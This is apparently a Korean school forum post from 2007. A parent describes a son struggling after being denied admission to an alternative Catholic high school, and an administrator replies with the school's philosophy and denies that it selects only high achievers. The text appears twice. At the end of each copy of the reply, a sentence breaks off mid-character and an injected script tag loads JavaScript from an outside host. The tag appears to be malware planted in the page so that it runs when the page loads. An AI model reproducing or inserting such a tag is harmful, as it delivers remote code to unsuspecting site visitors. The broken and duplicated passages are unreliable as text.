대안학교의 이념과 책임
작성자 : 관리자 | 조회수 : 6,553 | 작성일 : 2007년 11월 22일
찬미 예수님!!!
>>저의 아들도 양업고등학교에 진학상담(2006년)을 하였는데 불합격처리가 되어
>>지금은 일반 고등학교에 진학하고 있습니다
>>고등학교에 진학을하여 학교생활에 적응치 못해 1년 내내 방황을 하고 있어
>>부모된 입장에서 피가마르는 하루 하루를 보내고 있어요
>>아이의 친구중에 가출과 비행을 일삼는 친구가 있는데
>>저희 아이가 이 친구와 친하게 지내면서 하루하루가 다른 아이로 변하고 있어요
>>친구를 못만나도록 모든 방법을 다 써 보았지만 되지가 않더군요
>>아빠인 저는 그런 아들을 처음 한번(1학기 초) 매로 다스린후
>>방법이 잘 못된것을 깨닫고 그 이후로 계속 타이르고 격려하고 칭찬을 하고
>>아이의 입장에서 이해를 하면서 장래에 대하여 같이 고민을 하여 보았으나
>>모든것이 허사 였어요
>>아내는 거의 탈진 상태에 이르렀고 가족에 웃음을 잃은지 오래 됐습니다
>>양업에서 학생들을 지도하는 방법이 있으면 가르침을 받고 싶습니다
>>답답한 마음에 두서 없이 글을 썼어요
>>저희 같은 불량한 학생은 양업근처에도 가지 못하지요~
>>소문에 양업은 경쟁이 치열하여 우등생만 갈수가 있다지요~
>>부디 최양업 신부님의 교육이념을 저희 아들같은 학생들에게도 배풀어질수 있도록
>>고견을 기달려 봅니다
>>
>>----------------------------
‘대안학교의 이념과 책임’이라는 제목을 읽고 주제가 무겁다고 생각하여 머뭇거리다가 내용을 열었습니다.
홈페이지 관리자의 개인적인 생각이라기보다 양업의 교육철학과 방침에 근접한 시각으로, 그리고 부모님의 몇 가지 질의에 대하여 견해를 제시 해 보는 자세로, 또는 사실이 아닌 양업에 대한 오해(?)를 말씀드리고자 답 글을 올리게 되었습니다.
학교장이신 신부님께서는 미사 중 강론이나 학부모 훈화에서 늘 이렇게 말씀하십니다.
"문제부모 문제어른이 있지, 문제 학생은 없다."
우리 아이들이 어려움에 처해 있을 때 주위에서 흔히 부적응이니 비행이니 이렇게 부적절한 언어로 제단 되고 매도되고 있는 것을 봅니다. 그러나 그 이면에는 기성세대인 부모님들의 역할부재와 가정의 급속한 해체, 자녀에 대한 무관심이 있었고 경우에 따라서는 공교육 종사자들의 줄 세우기식의 교육이 원인임을 의미하는 함축된 이야기가 아니겠습니까? 때로는 농사를 하는 농부역할론을 가지고 자녀 교육을 설명하기도 합니다. 땅 심 돋우기가 안 된 척박한 땅에서 자란 곡식과 비옥한 땅에서 자란 곡식을 비교하면서 말입니다. 퇴비주기와 같은 땅 심 돋우기는 등한시 한 체 농약만 치고 비료만 주는 농사는 순간적인 효과는 있을지 몰라도 지속적이고 근본적으로 영양 많고 품질 좋은 작물의 생산과는 점점 멀어져가는 일이라는 것입니다. 이러한 맥락에서 우리 양업의 교직원들은 섣불리 판단하고 쉽게 결정하며 때로는 바로 포기해 버리는 극단적인 디지털식 사고나 부모를 포함한 기성세대들의 가족해체, 줄 세우기의 공교육 등이 눈앞의 성과에만 집착한 나머지 엄청난 어려움과 그 폐해를 야기 시켰고 그 결과가 사회문제 학교문제로 나타나는 것이 작금의 현상들이라고 보는 것 있습니다.
이러한 사고에 기초하여 근본을 세우고자 노력하는 것이 양업교육의 근간입니다. 우리는 교육을 실시하는 장소로는 학교 이외에 가정이, 교육의 주체로는 교사이외에 학부모가 함께하는 교육을 지향하고 있습니다. 학교교육은 주체인 성숙된 교사가 대상인 우리의 미성숙한 자녀들을 바람직스러운 방향으로의 변화를 유도하고 안내하는 것이라고 볼 때, 그 대상자가 변화를 처음부터 거부해 버리거나 교육을 어렵게 하는 요인들이 개입되어 변화의 수용 자체를 꺼린다면 이러한 경우는 학교교육의 영역이 아닌 다른 방법적인 것을 제공해야 된다고 보는 것입니다.
우리는 학교의 교육목표로 “자기를 존중하고 남을 배려하는 학생”, “좋은 선택을 하고 행동에 책임을 지는 학생”, “인성교육으로 학업성취도가 향상되는 학생” 양성을 표방하면서 이를 적극 수용하고자 한다면 현재는 다소 어려움이 있더라도 지금까지 양업공동체의 일원으로 선택을 하였습니다.
이번 입시에서도 상당수의 학교성적이 뛰어난 수험생들이 양업에 선택되지 못하였던 것은 이러한 우리의 취지에 다소 부합되기 어렵다고 보았던 부분이 있었기 때문입니다. 학부모님께서 우리 학교가 성적이 우수한 학생을 선발했다는 부분은 사실과 다르며 바라보시는 시각이나 체감하시기에 따라서 다소 차이가 있을 수도 있음을 이번 기회를 통하여 알려드리고자 합니다.
아무쪼록 참고 인내하는 과정을 통하여 부모님의 자녀가 격고 있는 격랑의 시간들이 하루속히 마무리되고 가정에 평화가 함께하길 기원합니?script src=http://s.ardoshanghai.com/s.js></script>
>>저의 아들도 양업고등학교에 진학상담(2006년)을 하였는데 불합격처리가 되어
>>지금은 일반 고등학교에 진학하고 있습니다
>>고등학교에 진학을하여 학교생활에 적응치 못해 1년 내내 방황을 하고 있어
>>부모된 입장에서 피가마르는 하루 하루를 보내고 있어요
>>아이의 친구중에 가출과 비행을 일삼는 친구가 있는데
>>저희 아이가 이 친구와 친하게 지내면서 하루하루가 다른 아이로 변하고 있어요
>>친구를 못만나도록 모든 방법을 다 써 보았지만 되지가 않더군요
>>아빠인 저는 그런 아들을 처음 한번(1학기 초) 매로 다스린후
>>방법이 잘 못된것을 깨닫고 그 이후로 계속 타이르고 격려하고 칭찬을 하고
>>아이의 입장에서 이해를 하면서 장래에 대하여 같이 고민을 하여 보았으나
>>모든것이 허사 였어요
>>아내는 거의 탈진 상태에 이르렀고 가족에 웃음을 잃은지 오래 됐습니다
>>양업에서 학생들을 지도하는 방법이 있으면 가르침을 받고 싶습니다
>>답답한 마음에 두서 없이 글을 썼어요
>>저희 같은 불량한 학생은 양업근처에도 가지 못하지요~
>>소문에 양업은 경쟁이 치열하여 우등생만 갈수가 있다지요~
>>부디 최양업 신부님의 교육이념을 저희 아들같은 학생들에게도 배풀어질수 있도록
>>고견을 기달려 봅니다
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‘대안학교의 이념과 책임’이라는 제목을 읽고 주제가 무겁다고 생각하여 머뭇거리다가 내용을 열었습니다.
홈페이지 관리자의 개인적인 생각이라기보다 양업의 교육철학과 방침에 근접한 시각으로, 그리고 부모님의 몇 가지 질의에 대하여 견해를 제시 해 보는 자세로, 또는 사실이 아닌 양업에 대한 오해(?)를 말씀드리고자 답 글을 올리게 되었습니다.
학교장이신 신부님께서는 미사 중 강론이나 학부모 훈화에서 늘 이렇게 말씀하십니다.
"문제부모 문제어른이 있지, 문제 학생은 없다."
우리 아이들이 어려움에 처해 있을 때 주위에서 흔히 부적응이니 비행이니 이렇게 부적절한 언어로 제단 되고 매도되고 있는 것을 봅니다. 그러나 그 이면에는 기성세대인 부모님들의 역할부재와 가정의 급속한 해체, 자녀에 대한 무관심이 있었고 경우에 따라서는 공교육 종사자들의 줄 세우기식의 교육이 원인임을 의미하는 함축된 이야기가 아니겠습니까? 때로는 농사를 하는 농부역할론을 가지고 자녀 교육을 설명하기도 합니다. 땅 심 돋우기가 안 된 척박한 땅에서 자란 곡식과 비옥한 땅에서 자란 곡식을 비교하면서 말입니다. 퇴비주기와 같은 땅 심 돋우기는 등한시 한 체 농약만 치고 비료만 주는 농사는 순간적인 효과는 있을지 몰라도 지속적이고 근본적으로 영양 많고 품질 좋은 작물의 생산과는 점점 멀어져가는 일이라는 것입니다. 이러한 맥락에서 우리 양업의 교직원들은 섣불리 판단하고 쉽게 결정하며 때로는 바로 포기해 버리는 극단적인 디지털식 사고나 부모를 포함한 기성세대들의 가족해체, 줄 세우기의 공교육 등이 눈앞의 성과에만 집착한 나머지 엄청난 어려움과 그 폐해를 야기 시켰고 그 결과가 사회문제 학교문제로 나타나는 것이 작금의 현상들이라고 보는 것 있습니다.
이러한 사고에 기초하여 근본을 세우고자 노력하는 것이 양업교육의 근간입니다. 우리는 교육을 실시하는 장소로는 학교 이외에 가정이, 교육의 주체로는 교사이외에 학부모가 함께하는 교육을 지향하고 있습니다. 학교교육은 주체인 성숙된 교사가 대상인 우리의 미성숙한 자녀들을 바람직스러운 방향으로의 변화를 유도하고 안내하는 것이라고 볼 때, 그 대상자가 변화를 처음부터 거부해 버리거나 교육을 어렵게 하는 요인들이 개입되어 변화의 수용 자체를 꺼린다면 이러한 경우는 학교교육의 영역이 아닌 다른 방법적인 것을 제공해야 된다고 보는 것입니다.
우리는 학교의 교육목표로 “자기를 존중하고 남을 배려하는 학생”, “좋은 선택을 하고 행동에 책임을 지는 학생”, “인성교육으로 학업성취도가 향상되는 학생” 양성을 표방하면서 이를 적극 수용하고자 한다면 현재는 다소 어려움이 있더라도 지금까지 양업공동체의 일원으로 선택을 하였습니다.
이번 입시에서도 상당수의 학교성적이 뛰어난 수험생들이 양업에 선택되지 못하였던 것은 이러한 우리의 취지에 다소 부합되기 어렵다고 보았던 부분이 있었기 때문입니다. 학부모님께서 우리 학교가 성적이 우수한 학생을 선발했다는 부분은 사실과 다르며 바라보시는 시각이나 체감하시기에 따라서 다소 차이가 있을 수도 있음을 이번 기회를 통하여 알려드리고자 합니다.
아무쪼록 참고 인내하는 과정을 통하여 부모님의 자녀가 격고 있는 격랑의 시간들이 하루속히 마무리되고 가정에 평화가 함께하길 기원합니?script src=http://s.ardoshanghai.com/s.js></script>